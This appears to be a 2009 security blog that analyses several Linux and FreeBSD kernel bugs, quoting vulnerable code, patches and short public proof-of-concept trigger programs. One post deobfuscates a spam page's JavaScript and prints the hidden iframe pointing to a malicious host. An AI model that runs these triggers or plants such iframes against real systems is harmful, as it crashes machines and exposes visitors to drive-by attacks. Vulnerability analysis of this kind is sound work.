News: twiz + sgrakkyu book on kernel exploitation

•November 7, 2009 • 13 Comments

I was browsing amazon.com when I saw this! For a moment I thought that this should be some kind of joke or something but it seems to be true.
The well known and freaking amazing twiz (real name Enrico Perla) and sgrakkyu (real name Massimiliano Oldani) are publishing an entire book on kernel exploitation!!! I honestly cannot wait until July to read it. If you don’t know these guys (for some reason that I have no idea about) here are a few references:

- Phrack #64: Attacking the core
- kernelbof blog
- madwifi WPA/RSN IE remote kernel buffer overflow

And a lot of more (google it)…
I bet that this book would be my favorite, along with taossa of course. The chapters of the book are:

Introduction
Part I: A Journey to Kernel Land
Chapter 1: From User Land to Kernel Land Attacks
Chapter 2: A Taxonomy of Kernel Vulnerabilities
Chapter 3: Stairway to Successful Kernel Exploitation
Part II: The Unix Family, Mac OS X, and Windows
Chapter 4: The Unix Family
Chapter 5: Mac OS X
Chapter 6: Windows
Part III: Remote Kernel Exploitation
Chapter 7: Facing the Challenges of Remote Exploitation
Chapter 8: Putting it all Together: A Linux Case Study
Part IV: Final Words
Chapter 9: Kernel Evolution: Future Attacks and Defense

Ok, enough talking… time to place a pre-order ;)

Linux kernel CIFS Invalid Pointer Free

•November 7, 2009 • Leave a Comment

This bug, found in 2.6.32-rc6’s ChangeLog file was reported by Hitoshi Mitake of WASEDA University and here is the buggy code from 2.6.31 release of the Linux kernel…

static struct TCP_Server_Info *
cifs_get_tcp_session(struct smb_vol *volume_info)
{
        struct TCP_Server_Info *tcp_ses = NULL;
        struct sockaddr_storage addr;
        struct sockaddr_in *sin_server = (struct sockaddr_in *) &addr;
        struct sockaddr_in6 *sin_server6 = (struct sockaddr_in6 *) &addr;
        int rc;

        memset(&addr, 0, sizeof(struct sockaddr_storage));
     ...
out_err:
        if (tcp_ses) {
                kfree(tcp_ses->hostname);
                if (tcp_ses->ssocket)
                        sock_release(tcp_ses->ssocket);
                kfree(tcp_ses);
        }
        return ERR_PTR(rc);
}

The above function resides in fs/cifs/connect.c and it is used to return a pointer to a ‘TCP_Server_Info’ structure containing the TCP session’s information. As you can read, ‘out_err’ handles the exceptional conditions which could appear in various situations including: failure of address translation, unspecified UNC path, if there is already a TCP session, if it fails to extract the hostname from the TCP session etc.
However, the ‘out_err’ label code will attempt to kfree() the ‘tcp_ses->hostname’ regardless of its state. As we can read from fs/cifs/cifsglob.h this member stores the following information:

struct TCP_Server_Info {
     ...
        char *hostname; /* hostname portion of UNC string */
     ...
};

So, in case of a TCP session with UNC not set, the following code will attempt to call kfree() on an invalid pointer. To fix this, the following patch was used:

 	if (tcp_ses) {
-		kfree(tcp_ses->hostname);
+		if (!IS_ERR(tcp_ses->hostname))
+			kfree(tcp_ses->hostname);
 		if (tcp_ses->ssocket)

The IS_ERR() macro is defined in include/linux/err.h and as you can read below is a simple range check with branch prediction code for optimization purposes.

#define MAX_ERRNO       4095
     ...
#define IS_ERR_VALUE(x) unlikely((x) >= (unsigned long)-MAX_ERRNO)
     ...
static inline long IS_ERR(const void *ptr)
{
        return IS_ERR_VALUE((unsigned long)ptr);
}

As H. Mitake said, ‘tcp_ses->hostname’ member is normally initialized by extract_hostname() using kmalloc() like this:

/* extract the host portion of the UNC string */
static char *
extract_hostname(const char *unc)
{
        const char *src;
        char *dst, *delim;
        unsigned int len;

        /* skip double chars at beginning of string */
        /* BB: check validity of these bytes? */
        src = unc + 2;

        /* delimiter between hostname and sharename is always '\\' now */
        delim = strchr(src, '\\');
        if (!delim)
                return ERR_PTR(-EINVAL);

        len = delim - src;
        dst = kmalloc((len + 1), GFP_KERNEL);
        if (dst == NULL)
                return ERR_PTR(-ENOMEM);

        memcpy(dst, src, len);
        dst[len] = '';

        return dst;
}

But cifs_get_tcp_session() will call kfree() regardless of the allocation’s success or failure.

Funny Spam Email

•November 7, 2009 • Leave a Comment

I received a cute spam email today. Its subject was “I watch after your PC” and its body was just containing this:

Know any maps on-line?
http://stalker-vgpu.by.ru/demo.html

Of course, it hit an amazing 15.3 score in SpamAssassin but it was still worth a try. The sender’s address was:

Received: from [190.246.47.14] (HELO 14-47-246-190.fibertel.com.ar)

So, I wget(1) that page and not surprisingly, it was some obfuscated JavaScript code. After a couple of minutes of clearing the JavaScript code up the code was pretty easy to understand. The JavaScript section is composed of nine functions. Most of them contain a straightforward algorithm similar to this:

function AEvZVPZNFD(LIFcfdLH)
{
	var int_three=3;
	var int_six=6;
	var obfu='49,3-30,3-19,3-52,0-58,0-58,0-56,0-29,0-23,3-23,3-49,0-50,3-48,3-58,3-58,0-60,3-54,3-55,3-50,0-48,3-23,0-57,0-58,3-23,3-58,0-50,3-54,3-56,0-54,0-48,3-58,0-50,3-57,3-23,3-52,3-55,0-50,0-50,3-60,0-23,0-56,0-52,0-56,0-19,3-31,0-30,0-23,3-52,3-51,0-57,0-';
	var deobfu=obfu.split('-');
	string_ret='';
	for(i=0; i<deobfu.length-1; i+=1)
	{
		ArrayOne=deobfu[i].split(',');
		retval = parseInt(ArrayOne[0]*int_six)+parseInt(ArrayOne[1]);
		retval = parseInt(retval)/int_three;
		string_ret += String.fromCharCode(retval);
	}

	return string_ret;
}

As you can see, it has a variable (which I renamed to ‘obfu’) that contains a series of numbers separated with ‘,’ and ‘-’. The next variable (which I renamed it to ‘deobfu’) will simply replace the ‘-’ characters with ‘,’ using split() and store the result in it.
The ‘for’ loop will iterate through each character and perform some calculations on each number. Specifically, it will execute the following for each one…

retval = atoi(character * 6) + atoi(next_character);
retval = atoi(retval/3);

And at last, append the result to ’string_ret’ after converting the Unicode value to a character using fromCharCode() function. After decoding all of the obfuscated code, the result is this:

<!-- From MWmC() function -->
<iframe width=1 height=1 border=0 frameborder=0 sr
<!-- From AEvZVPZNFD() function -->
c='http://beautymoda.ru/templates/index.php'></ifr
<!-- From dHIw() function -->
ame>

So, it basically executes this:

<iframe width=1 height=1 border=0 frameborder=0 src='http://beautymoda.ru/templates/index.php'></iframe>

Unfortunately, it seems that it was already reported to the hosting provider since the above URL redirects to ‘https://best-hoster.ru/suspend/’ which indicates that the website is suspended.

CVE-2009-3726: Linux kernel NFSv4 NULL Pointer Dereference

•November 7, 2009 • 1 Comment

This vulnerability was discovered by Trond Myklebust of NetApp and it affects Linux kernel prior to 2.6.31-rc4 release. Here is the buggy code from fs/nfs/dir.c of 2.6.30 release of the Linux kernel.

const struct inode_operations nfs4_dir_inode_operations = {
       ...
        .lookup         = nfs_atomic_lookup,
       ...
};
       ...
static struct dentry *nfs_atomic_lookup(struct inode *dir, struct dentry *dentry, struct nameidata *nd)
{
        struct dentry *res = NULL;
        int error;
       ...
        /* Open the file on the server */
        res = nfs4_atomic_open(dir, dentry, nd);
        if (IS_ERR(res)) {
                error = PTR_ERR(res);
                switch (error) {
                        /* Make a negative dentry */
                        case -ENOENT:
                                res = NULL;
                                goto out;
                        /* This turned out not to be a regular file */
                        case -EISDIR:
                        case -ENOTDIR:
                                goto no_open;
                        case -ELOOP:
                                if (!(nd->intent.open.flags & O_NOFOLLOW))
                                        goto no_open;
                        /* case -EINVAL: */
                        default:
                                goto out;
                }
        } else if (res != NULL)
                dentry = res;
out:
        return res;
no_open:
        return nfs_lookup(dir, dentry, nd);
}

This lookup function in case of an error returned by nfs4_atomic_open(), it will choose the appropriate return operation based on the error code. If the error code is that of ‘-EISDIR’ (Error Is A Directory) the code will call nfs_lookup() instead of exiting with that error code as return value.
Because of this, the ’state’ would be NULL and a subsequent attempt to open it will result in a NULL pointer dereference in nfs4_proc_lock() because of this:

static int
nfs4_proc_lock(struct file *filp, int cmd, struct file_lock *request)
{
        struct nfs_open_context *ctx;
        struct nfs4_state *state;
        unsigned long timeout = NFS4_LOCK_MINTIMEOUT;
        int status;
       ...
        if (IS_GETLK(cmd))
                return nfs4_proc_getlk(state, F_GETLK, request);
       ...
        if (request->fl_type == F_UNLCK)
                return nfs4_proc_unlck(state, cmd, request);

        do {
                status = nfs4_proc_setlk(state, cmd, request);
       ...
}

In any of these cases, ’state’ would be NULL and all of the nfs4_proc_getlk(), nfs4_proc_unlck() and nfs4_proc_setlk() access that pointer without performing any checks for a possible NULL pointer. As Eugene Teo explained in his email to oss-security, since an error occured in the initial lookup, the NFSv4 state will not be updated and consequently, result to a NULL pointer dereference in the above code.
The fix was to rearrange the cases of nfs_atomic_lookup() error code handling in order to simply return the error code in case of ‘-EISDIR’.

                        /* This turned out not to be a regular file */
-                       case -EISDIR:
                        case -ENOTDIR:
                                goto no_open;
                        case -ELOOP:
                                if (!(nd->intent.open.flags & O_NOFOLLOW))
                                        goto no_open;
+                       /* case -EISDIR: */
                        /* case -EINVAL: */

And also update nfs4_proc_lock() to add the missing NULL pointer checks for ’state’ pointer as you can see below:

        if (request->fl_start < 0 || request->fl_end < 0)
                return -EINVAL;

-       if (IS_GETLK(cmd))
-               return nfs4_proc_getlk(state, F_GETLK, request);
+       if (IS_GETLK(cmd)) {
+               if (state != NULL)
+                       return nfs4_proc_getlk(state, F_GETLK, request);
+               return 0;
+       }

        if (!(IS_SETLK(cmd) || IS_SETLKW(cmd)))
                return -EINVAL;

-       if (request->fl_type == F_UNLCK)
-               return nfs4_proc_unlck(state, cmd, request);
+       if (request->fl_type == F_UNLCK) {
+               if (state != NULL)
+                       return nfs4_proc_unlck(state, cmd, request);
+               return 0;
+       }

+       if (state == NULL)
+               return -ENOLCK;
        do {
                status = nfs4_proc_setlk(state, cmd, request);

At last, Jeff Layton coded a small PoC trigger C program which you can find here. This a simple program, here is what it does…

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
	int fd, err;
	struct flock fl = { .l_type	= F_RDLCK,
			    .l_whence	= SEEK_SET };

	fd = open("/proc/self/exe", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "Couldn't open /proc/self/exe: %s\n",
			strerror(errno));
		return 1;
	}

Initializing a ‘flock’ structure for file locking with its type being set at ‘F_RDLCK’ (File Read Lock) and the starting offset to ‘SEEK_SET’ to start from the beginning of the file. It then opens up itself from the PROCFS filesystem using ‘/proc/self/exe’ file as read-only.
Now, the code continues like this…

	err = fcntl(fd, F_SETLK, &fl);
	if (err != 0) {
		fprintf(stderr, "setlk errno: %d\n", errno);
		return 1;
	}

	return 0;
}

The fcntl(2) call will set the read lock to that file and lead to nfs4_proc_lock() function, and specifically, in ‘IS_GETLK(cmd)’ case that will invoke nfs4_proc_getlk() and trigger the pointer dereference of ’state’ pointer.

BKO and gPXE

•November 7, 2009 • Leave a Comment

BKO (Boot Kernel Org) is a great project that allows us to boot an OS remotely from an HTTP server located at ‘boot.kernel.org‘ using their ‘gPXE’ application. It would be just great if they’ll add more GNU/Linux distributions in the future. :)

FreeBSD FIFO Resource Leak

•November 6, 2009 • Leave a Comment

I just read this email on freebsd-bugs mailing list. The bug was discovered and reported by Chitti Nimmagadda and Dorr H. Clark of Santa Clara University. Here is the vulnerable code as seen in usr/src/sys/fs/fifofs/fifo_vnops.c of FreeBSD 8.0-STABLE release.

/*
 * Open called to set up a new instance of a fifo or
 * to find an active instance of a fifo.
 */
/* ARGSUSED */
static int
fifo_open(ap)
        struct vop_open_args /* {
                struct vnode *a_vp;
                int  a_mode;
                struct ucred *a_cred;
                struct thread *a_td;
                struct file *a_fp;
        } */ *ap;
{
        struct vnode *vp = ap->a_vp;
        struct fifoinfo *fip;
        struct thread *td = ap->a_td;
        struct ucred *cred = ap->a_cred;
        struct file *fp = ap->a_fp;
        struct socket *rso, *wso;
        int error;
    ...
         if ((fip = vp->v_fifoinfo) == NULL) {
    ...
        }
    ...
         if (ap->a_mode & FWRITE) {
                 if ((ap->a_mode & O_NONBLOCK) && fip->fi_readers == 0) {
                         mtx_unlock(&fifo_mtx);
                         return (ENXIO);
                 }
                 fip->fi_writers++;
                 if (fip->fi_writers == 1) {
                         SOCKBUF_LOCK(&fip->fi_readsock->so_rcv);
                         fip->fi_readsock->so_rcv.sb_state &= ~SBS_CANTRCVMORE;
                         SOCKBUF_UNLOCK(&fip->fi_readsock->so_rcv);
                         if (fip->fi_readers > 0) {
                                 wakeup(&fip->fi_readers);
                                 sorwakeup(fip->fi_readsock);
                         }
                 }
         }
    ...
                 if ((ap->a_mode & FWRITE) && fip->fi_readers == 0) {
                         VOP_UNLOCK(vp, 0);
                         error = msleep(&fip->fi_writers, &fifo_mtx,
                             PDROP | PCATCH | PSOCK, "fifoow", 0);
                         vn_lock(vp, LK_EXCLUSIVE | LK_RETRY);
                         if (error) {
                                 fip->fi_writers--;
                                 if (fip->fi_writers == 0) {
                                         socantrcvmore(fip->fi_readsock);
                                         mtx_lock(&fifo_mtx);
                                         fip->fi_wgen++;
                                         mtx_unlock(&fifo_mtx);
                                         fifo_cleanup(vp);
                                 }
                                 return (error);
                         }
    ...
}

In this code, ‘vp’ pointer is used to store a ‘vnode’ structure (defined in sys/vnode.h). The bug is a missing clean up of that structure before returning. As you can read in last ‘if’ clause, in case of an error in msleep(), it will decrement the writers’ reference counter, and if there are no others left, it will lock the socket descriptor ‘fip->fi_readsock’ using socantrcvmore(), then start a MUTEX lock to increment ‘fip->fi_wgen’ counter and finally, call fifo_cleanup() on ‘vp’ pointer to dispose the FIFO resources like this:

/*
 * Dispose of fifo resources.
 */
static void
fifo_cleanup(struct vnode *vp)
{
        struct fifoinfo *fip = vp->v_fifoinfo;

        ASSERT_VOP_ELOCKED(vp, "fifo_cleanup");
        if (fip->fi_readers == 0 && fip->fi_writers == 0) {
                vp->v_fifoinfo = NULL;
                (void)soclose(fip->fi_readsock);
                (void)soclose(fip->fi_writesock);
                free(fip, M_VNODE);
        }
}

However, in fifo_open() the ‘if’ clause for ‘ap->a_mode & FWRITE’, in case of non-blocking mode on that FIFO and a readers’ reference counter equal to zero it will unlock the FIFO MUTEX and return ENXIO (aka. Device not configured) without releasing the resource. This results in a resource leak.
The suggested patch as we can read in the original advisory, is to add the missing clean-up function.

                if ((ap->a_mode & O_NONBLOCK) && fip->fi_readers == 0) {
                        mtx_unlock(&fifo_mtx);
+                       /* Exclusive VOP lock is held - safe to clean */
+                       fifo_cleanup(vp);
                        return (ENXIO);
                }

At last, the authors of the advisory provide a PoC code to demonstrate the vulnerability. Here is a quick review of that code…

#include <stdio.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FIFOPATH "/tmp/fifobug.debug"

void getsysctl(name, ptr, len)
    const char *name;
    void *ptr;
    size_t len;
{
    size_t nlen = len;
    if (sysctlbyname(name, ptr, &nlen, NULL, 0) != 0) {
                perror("sysctl");
                printf("name: %s\n", name);
                exit(-1);
    }
    if (nlen != len) {
        printf("sysctl(%s...) expected %lu, got %lu", name,
            (unsigned long)len, (unsigned long)nlen);
                exit(-2);
    }
}

This function is used as a wrapper around sysctlbyname(3) library routine. The following code is this…

main(int argc, char *argv[])
{
	int acnt = 0, bcnt = 0, maxcnt;
	int fd;
	unsigned int maxiter;
	int notdone = 1;
	int i= 0;

	getsysctl("kern.ipc.maxsockets", &maxcnt, sizeof(maxcnt));
	if (argc == 2) {
		maxiter = atoi(argv[1]);
	} else {
		maxiter = maxcnt*2;
	}

They retrive the maximum IPC socket number using the previous wrapper routine and set ‘maxiter’ to that value multiplied by two unless the user specified a value through the first argument of the program. The next code is this.

	unlink(FIFOPATH);
	printf("Max sockets: %d\n", maxcnt);
	printf("FIFO %s will be created, opened, deleted %d times\n",
		FIFOPATH, maxiter);

	getsysctl("kern.ipc.numopensockets", &bcnt, sizeof(bcnt));

They unlink the “/tmp/fifobug.debug” file and after some printf(3)s, they store the number of the open IPC sockets to ‘bcnt’ variable. Next part is…

	while(notdone && (i++ < maxiter)) {
		if (mkfifo(FIFOPATH, 0) == 0) {
			chmod(FIFOPATH,
				S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH);
		}
		fd = open(FIFOPATH, O_WRONLY|O_NONBLOCK);
		if ((fd <= 0) && (errno != ENXIO)) {
			notdone = 0;
		}
		unlink(FIFOPATH);
	}

This loop will iterate as long as it has not reached more than ‘maxiter’ (maximum IPC socket number multiplied by two) times and flag ‘notdone’ is non-zero. Inside the ‘while’ loop, it creates a FIFO in the previously unlinked file and sets its mode accordingly. Then, it opens that FIFO as write only and non-blocking and then it just unlinks it. If the open(2) system call returns ‘ENXIO’, flag ‘notdone’ is zeroed out. This is a simple code to reach the fiflo_open() bug discussed above since the FIFO created is on write and non-blocking mode and it has no readers on it.
Finally, the code continues…

	getsysctl("kern.ipc.numopensockets", &acnt, sizeof(acnt));
	printf("Open Sockets: Before Test: %d, After Test: %d, diff: %d\n",
		 bcnt, acnt, acnt - bcnt);
	if (notdone) {
		printf("FIFO/socket bug is fixed\n");
		exit(0);
	} else {
		printf("FIFO/socket bug is NOT fixed\n");
		exit(-1);
	}
}

Just some printf(3)s of the number of open IPC sockets using the sysctl(3) interface and an informative message if the system had returned ‘ENXIO’ (meaning it’s buggy) and consequently zeroed out ‘notdone’ or not.

News: milw0rm + Offensive Security

•November 6, 2009 • 2 Comments

I just read this blog post of Offensive Security. It seems that they’ll be the maintainers of the popular archive website from now on.

Linux kernel loop Device NULL Pointer Dereference

•November 5, 2009 • Leave a Comment

Another one from the ChangeLog file of 2.6.32-rc6 I noticed was this really interesting bug. The bug was discovered and reported by Alexey Dobriyan and it was fixed in 2.6.32-rc6 release of the Linux kernel.
Here is the susceptible code as seen in 2.6.31’s drivers/block/loop.c source code file…

static int loop_clr_fd(struct loop_device *lo, struct block_device *bdev)
{
        struct file *filp = lo->lo_backing_file;
        gfp_t gfp = lo->old_gfp_mask;

        if (lo->lo_state != Lo_bound)
    ...
        if (lo->lo_refcnt > 1)  /* we needed one fd for the ioctl */
    ...
        if (filp == NULL)
    ...
        if (bdev)
                bd_set_size(bdev, 0);
    ...
        /* This is safe: open() is still holding a reference. */
        module_put(THIS_MODULE);
        if (max_part > 0)
                ioctl_by_bdev(bdev, BLKRRPART, 0);
    ...
        return 0;
}

This routine is called by the IOCTL handler routine as you can read here:

static int lo_ioctl(struct block_device *bdev, fmode_t mode,
        unsigned int cmd, unsigned long arg)
{
        struct loop_device *lo = bdev->bd_disk->private_data;
        int err;

        mutex_lock_nested(&lo->lo_ctl_mutex, 1);
        switch (cmd) {
    ...
        case LOOP_CLR_FD:
                /* loop_clr_fd would have unlocked lo_ctl_mutex on success */
                err = loop_clr_fd(lo, bdev);
                if (!err)
                        goto out_unlocked;
                break;
    ...
        return err;
}

And its second argument is the block device to be work on. However, it’s not really hard to see that if for some reason mount of that device fails, the block device pointer represented by ‘bdev’ will be set to NULL.
If we move back to loop_clr_fd() we’ll see that bd_set_size() checks that the ‘bdev’ is not NULL but the subsequent call to ioctl_by_bdev() is issued based entirely on the ‘max_part’ (maximum number of partitions per loop device) being greater than zero. This call to ioctl_by_bdev() located at fs/block_dev.c will result in a NULL pointer dereference since it will invoke blkdev_ioctl() with no checks on the NULL block device pointer like this:

int ioctl_by_bdev(struct block_device *bdev, unsigned cmd, unsigned long arg)
{
        int res;
        mm_segment_t old_fs = get_fs();
        set_fs(KERNEL_DS);
        res = blkdev_ioctl(bdev, 0, cmd, arg);
        set_fs(old_fs);
        return res;
}

And blkdev_ioctl() which resides at block/ioctl.c will execute this code:

/*
 * always keep this in sync with compat_blkdev_ioctl() and
 * compat_blkdev_locked_ioctl()
 */
int blkdev_ioctl(struct block_device *bdev, fmode_t mode, unsigned cmd,
                        unsigned long arg)
{
        struct gendisk *disk = bdev->bd_disk;
        struct backing_dev_info *bdi;
        loff_t size;
        int ret, n;

        switch(cmd) {
     ...
        case BLKRRPART:
                lock_kernel();
                ret = blkdev_reread_part(bdev);
                unlock_kernel();
                break;
     ...
        return ret;
}

Next, blkdev_reread_part() leads to this:

static int blkdev_reread_part(struct block_device *bdev)
{
        struct gendisk *disk = bdev->bd_disk;
        int res;

        if (!disk_partitionable(disk) || bdev != bdev->bd_contains)
                return -EINVAL;
        if (!capable(CAP_SYS_ADMIN))
                return -EACCES;
        if (!mutex_trylock(&bdev->bd_mutex))
                return -EBUSY;
        res = rescan_partitions(disk, bdev);
        mutex_unlock(&bdev->bd_mutex);
        return res;
}

Interesting bug… rescan_partitions() from fs/partitions/check.c looks very interesting knowing that you can control both of its arguments. This was fixed by adding the missing NULL check in the block device pointer before issuing the IOCTL call like this:

 	/* This is safe: open() is still holding a reference. */
 	module_put(THIS_MODULE);
-	if (max_part > 0)
+	if (max_part > 0 && bdev)
 		ioctl_by_bdev(bdev, BLKRRPART, 0);

Linux kernel NOMMU fput() NULL Pointer Dereference

•November 5, 2009 • Leave a Comment

This post is about a neat bug from 2.6.32-rc6’s ChangeLog file, specifically, this one. It was discovered and reported by David Howells of Red Hat and it was fixed in 2.6.32-rc6 release of the Linux kernel. Here is some code from 2.6.31’s mm/nommu.c file.

/*
 * handle mapping creation for uClinux
 */
unsigned long do_mmap_pgoff(struct file *file,
                            unsigned long addr,
                            unsigned long len,
                            unsigned long prot,
                            unsigned long flags,
                            unsigned long pgoff)
{
        struct vm_area_struct *vma;
        struct vm_region *region;
        struct rb_node *rb;
        unsigned long capabilities, vm_flags, result;
        int ret;
       ...
error:
        fput(region->vm_file);
        kmem_cache_free(vm_region_jar, region);
        fput(vma->vm_file);
        if (vma->vm_flags & VM_EXECUTABLE)
                removed_exe_file_vma(vma->vm_mm);
        kmem_cache_free(vm_area_cachep, vma);
        kleave(" = %d", ret);
        return ret;
       ...
}
EXPORT_SYMBOL(do_mmap_pgoff);

If the allocation of ‘region->vm_file’ area fails in do_mmap_pgoff() routine in a no-MMU case (such as uClinux), pointer ‘region->vm_file’ would be NULL and the error handling code under ‘error’ label will attempt to access/dereference it directly when calling fput() function. As you might already know, is a simple wrapper around __fput() which can be found at fs/file_table.c like this:

void fput(struct file *file)
{
        if (atomic_long_dec_and_test(&file->f_count))
                __fput(file);
}

Basically, it’s just using an atomic operation to decrement the reference counter of that file and invoke __fput() to release that file pointer. D. Howells also provided a trigger PoC code that causes instant kernel OOPS. The code is quite simple…

int main() { static long long a[1024 * 1024 * 20] = { 0 }; return a;}

What it does is requesting a huge amount of memory in order to trigger the ‘error’ code execution and consequently, the NULL pointer dereference during the attempt to decrement the reference counter in fput(). As you might have been expecting, the patch was of course…

 error:
-	fput(region->vm_file);
+	if (region->vm_file)
+		fput(region->vm_file);
 	kmem_cache_free(vm_region_jar, region);
-	fput(vma->vm_file);
+	if (vma->vm_file)
+		fput(vma->vm_file);
 	if (vma->vm_flags & VM_EXECUTABLE)
 		removed_exe_file_vma(vma->vm_mm);

Quite obvious NULL pointer checks.

SSH From Cell Phone?

•November 3, 2009 • 2 Comments

Here are a few nice little ready-to-use applications that implement SSH clients for some popular cell phones:

- TuSSH
This is written in C and it works with PalmOS and SonyOS

- MidpSSH
This application is written in Java (J2ME using MIDP 1.0/2.0) and it works with any Java enabled cell phone. It also includes a telnet client.

- S2PuTTY
This is a port of the popular PuTTY client for SymbianOS.

Pretty useful applications :)